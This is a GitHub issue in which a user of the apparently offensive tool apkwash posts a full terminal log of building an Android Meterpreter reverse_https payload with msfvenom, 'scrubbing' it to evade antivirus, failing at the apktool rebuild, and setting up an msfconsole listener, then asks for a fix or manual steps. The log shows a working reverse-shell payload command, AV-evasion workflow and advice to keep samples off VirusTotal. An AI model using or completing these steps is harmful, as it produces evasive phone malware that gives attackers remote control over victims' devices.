apkwash icon indicating copy to clipboard operation
apkwash copied to clipboard

Brut fails

Open tokit3mx opened this issue 1 year ago • 0 comments

└─$ sudo apkwash -p android/meterpreter/reverse_https LHOST=192.168.1.125 LPORT=1023 -o output.apk -v -d
 [-]  Generating MSFVenom payload
 [-]  msfvenom -p android/meterpreter/reverse_https LHOST=192.168.1.125 LPORT=1023 -o output.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
No encoder specified, outputting raw payload
Payload size: 10515 bytes
Saved as: output.apk
 [-]  MSFVenom payload successfully generated.
 [-]  Opening the generated payload with APKTool.
I: Using Apktool 2.2.4 on output.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /root/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
 [-]  Scrubbing the payload contents to avoid AV signatures...
 [-]  Finished scrubbing the content. Rebuilding the package with APKTool.
I: Using Apktool 2.2.4
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether resources has changed...
I: Building resources...
Exception in thread "main" W: /tmp/brut_util_Jar_3015128125048258067.tmp: 1: Syntax error: "(" unexpected
brut.androlib.AndrolibException: brut.androlib.AndrolibException: brut.common.BrutException: could not exec (exit code = 2): [/tmp/brut_util_Jar_3015128125048258067.tmp, p, --forced-package-id, 127, --min-sdk-version, 10, --target-sdk-version, 17, --version-code, 1, --version-name, 1.0, --no-version-vectors, -F, /tmp/APKTOOL207953231138486468.tmp, -0, arsc, -I, /root/.local/share/apktool/framework/1.apk, -S, /tmp/payload/res, -M, /tmp/payload/AndroidManifest.xml]
	at brut.androlib.Androlib.buildResourcesFull(Androlib.java:496)
	at brut.androlib.Androlib.buildResources(Androlib.java:430)
	at brut.androlib.Androlib.build(Androlib.java:329)
	at brut.androlib.Androlib.build(Androlib.java:267)
	at brut.apktool.Main.cmdBuild(Main.java:230)
	at brut.apktool.Main.main(Main.java:83)
Caused by: brut.androlib.AndrolibException: brut.common.BrutException: could not exec (exit code = 2): [/tmp/brut_util_Jar_3015128125048258067.tmp, p, --forced-package-id, 127, --min-sdk-version, 10, --target-sdk-version, 17, --version-code, 1, --version-name, 1.0, --no-version-vectors, -F, /tmp/APKTOOL207953231138486468.tmp, -0, arsc, -I, /root/.local/share/apktool/framework/1.apk, -S, /tmp/payload/res, -M, /tmp/payload/AndroidManifest.xml]
	at brut.androlib.res.AndrolibResources.aaptPackage(AndrolibResources.java:441)
	at brut.androlib.Androlib.buildResourcesFull(Androlib.java:482)
	... 5 more
Caused by: brut.common.BrutException: could not exec (exit code = 2): [/tmp/brut_util_Jar_3015128125048258067.tmp, p, --forced-package-id, 127, --min-sdk-version, 10, --target-sdk-version, 17, --version-code, 1, --version-name, 1.0, --no-version-vectors, -F, /tmp/APKTOOL207953231138486468.tmp, -0, arsc, -I, /root/.local/share/apktool/framework/1.apk, -S, /tmp/payload/res, -M, /tmp/payload/AndroidManifest.xml]
	at brut.util.OS.exec(OS.java:95)
	at brut.androlib.res.AndrolibResources.aaptPackage(AndrolibResources.java:435)
	... 6 more
 [-]  Washed package created: output.apk
mv: cannot stat '/tmp/payload/dist/output.apk': No such file or directory
 [-]  Checking for ~/.android/debug.keystore for signing
 [-]  Attempting to sign the package with your android debug key
/usr/local/bin/apkwash: line 50: jarsigner: command not found
 [-]  Signed the .apk file with ~/.android/debug.keystore
 [-]  To generate a new key per package use the '-n' option
 [-]  Cleaning up 
 [-]  Finished generating the payload.
 [-]  Please do not upload the washed/injected files to VirusTotal.com
 [-]  Use nodistribute.com, or manual scanning on a device.
 [-]  Generating an msf listener script
 [-]  Add an AutoRunScript? [y/N] n
 [-]  Listener script has been generated: /tmp/output.listener
 [-]  Start listener with: msfconsole -r /tmp/output.listener
 [-]  Launch listener now? [y/N] n
 [?]  Smali file structure: com.ribhheqzcx.jzxrqohrgz

This is the log. For some reason this brut tool fails. Could you fix or provide manual steps to perform the same tasks this "brut" tool is doing?

tokit3mx avatar Jan 31 '24 02:01 tokit3mx